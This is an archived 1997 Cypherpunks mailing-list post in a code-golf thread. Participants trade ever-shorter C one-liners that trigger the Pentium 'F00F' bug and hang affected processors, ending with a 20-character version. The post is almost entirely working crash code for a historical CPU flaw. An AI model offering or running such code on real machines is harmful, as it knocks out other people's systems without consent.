[90026] in Cypherpunks

home help back first fref pref prev next nref lref last post

Re: smaller f00f.c

daemon@ATHENA.MIT.EDU (Jeff Barber)
Fri Nov 14 13:49:58 1997

From: Jeff Barber <jeffb@issl.atl.hp.com>
To: stutz@dsl.org
Date: Fri, 14 Nov 1997 13:15:10 -0500 (EST)
Cc: aba@dcs.ex.ac.uk, cypherpunks@cyberpass.net
In-Reply-To: <Pine.LNX.3.95.971114120723.4898B-100000@devel.nacs.net> from "Michael Stutz" at Nov 14, 97 12:09:39 pm
Reply-To: Jeff Barber <jeffb@issl.atl.hp.com>

Michael Stutz writes:
> On Fri, 14 Nov 1997, Adam Back wrote:
> > f00fie writes:
> > > In the grand tradition of RSA-in-3-lines-of-perl, we present
> > > Crash-A-Pentium-in-44-characters:
> > > 
> > >    main(){int i=0xc8c70ff0;void (*f)()=&i;f();}
> > 
> > Hey, challenge is on:
> > 
> > main(){int i=0xc8c70ff0;void (*f)()=&i;f();} /* f00fies 44 char */
> > main(){((int(*)())"\360\017\307\310")();}
> > main(){int i=0xc8c70ff0,(*f)()=&i;f();}
> > main(i){int(*f)()=&i;i=0xc8c70ff0;f();}
> > main(i){i=0xc8c70ff0;((int(*)())&i)();}
> > (*f)();main(i){f=&i;i=0xc8c70ff0;f();}
> > (*f)()="\360\017\307\310";main(){f();}       /* 38 chars */

> How about:
> 
> long main[]={0xc8c70ff0};
> 
> or even
> 
> main[]={0xc8c70ff0}; /* 21 chars */
> 
> Compiles with gcc, but I haven't tested it.

No need for an array, so my entry is:

int main=0xc8c70ff0; /* 20 chars */


Compiles and runs, core dumping with illegal instruction on my
Linux box (obviously, it's not a Pentium).


-- Jeff


home help back first fref pref prev next nref lref last post